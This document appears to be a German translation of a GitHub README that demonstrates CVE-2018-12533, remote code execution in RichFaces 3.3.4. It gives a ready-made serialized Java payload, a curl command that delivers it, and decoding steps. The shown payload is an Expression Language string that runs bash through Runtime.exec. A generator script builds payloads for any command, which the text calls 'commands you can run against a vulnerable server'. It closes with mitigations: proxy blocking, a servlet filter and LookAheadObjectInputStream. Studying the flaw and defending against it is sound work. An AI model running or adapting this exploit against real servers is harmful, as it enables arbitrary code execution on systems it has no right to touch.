
Demonstriert CVE-2018-12533 Remote Code Execution in RichFaces 3.3.4. Enthält Payload-Generierung, Java-Deserialisierungsanalyse und Minderungsstrategien mittels Filtern oder Ventilen.
Details zur CVE-2018-12533. Andere Versionen von RichFaces sind verwundbar, wie hier zu sehen ist.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Nach DATA/ und vor .seam befindet sich das Payload des Angriffs. Dies ist lediglich eine serialisierte, gezippte und Base64-kodierte Java-Klasse. Es handelt sich um ein Base64-Format, das von RichFaces leicht modifiziert wurde, um URL-kompatibel zu sein.
Diese Klasse enthält eine Befehlszeile im Format der Expression Language, die von der Anwendung, genauer gesagt von RichFaces, ausgeführt wird, und genau hier liegt das Problem, denn beliebiger Code kann auf dem Server ausgeführt werden.
Der im obigen Payload kodierte Befehl ist
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(nur zu Demonstrationszwecken) und wir werden das gleich feststellen.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Konvertiert das Payload vom RichFaces-Base64-Format in das Standard-Base64-Format. Dekodiert das Base64, das in diesem Fall ein gezipptes Binärformat ist, und dekomprimiert es, wodurch das Binärformat der serialisierten Java-Klasse erzeugt wird.
Hier sehen wir den bösartigen Befehl, der sich im Payload befindet.
Der folgende Befehl zeigt alle Attribute der Klasse und die entsprechenden in der Klasse definierten Typen an. Es werden nicht die Laufzeittypen angezeigt; wenn Sie nicht wissen, was das bedeutet, ist das in Ordnung.
Hier führen wir Java-Code wie ein Skript aus, dank JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
Die Ausgabe sieht etwa so aus:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ Der Hauptpunkt ist das Attribut _paint.savedState.m.orig.expr, in dem sich der bösartige Code befindet, der in diesem Beispiel nur ein harmloser Code ist, der eine Datei auf der Festplatte erstellt: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
Die Ausgabe zeigt die Befehle an, die Sie gegen einen verwundbaren Server ausführen können. Passen Sie nur die URL an.
Eine weniger einfache, aber leistungsfähigere Option ist es, den RichFaces-Code zu modifizieren, um eine Behandlung durchzuführen. Unten ist der relevante Stack angegeben.
Eine andere einfachere Option als die vorherige ist die Erstellung eines Filters (javax.servlet.Filter), der nur auf den betreffenden Pfad wirkt, das im Pfad vorhandene Base64 deserialisiert und die entsprechende Prüfung durchführt, um festzustellen, ob die Anfrage fortgesetzt oder abgelehnt werden muss. Es ist wichtig zu betonen, dass die Deserialisierung über die Klasse LookAheadObjectInputStream erfolgen muss, wie es in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) gemacht wird, um Sicherheitsprobleme während der Deserialisierung wie z.B. die Ausführung von bösartigem Code so weit wie möglich zu vermeiden.
Eine Option ist, den Pfad des Endpunkts in einem Proxy vor der Anwendung zu blockieren.
Eine andere Option, die meiner Meinung nach eine Implementierung wert ist, die aber die erste Option nicht ersetzt, ist die Erstellung eines Filters (javax.servlet.Filter), der nur auf den betreffenden Pfad wirkt und den Zugriff blockiert. Die Blockierung besteht lediglich darin, die Anfrage zu beantworten, ohne die Filterkette weiter ausführen zu lassen. Sie können einen Text im Body und den HTTP-Statuscode 410 (Gone) verwenden. Denken Sie daran, dass dieser Filter in der web.xml der Anwendung definiert werden muss. Ein Beispiel für diesen Filter: PathBlockerFilter.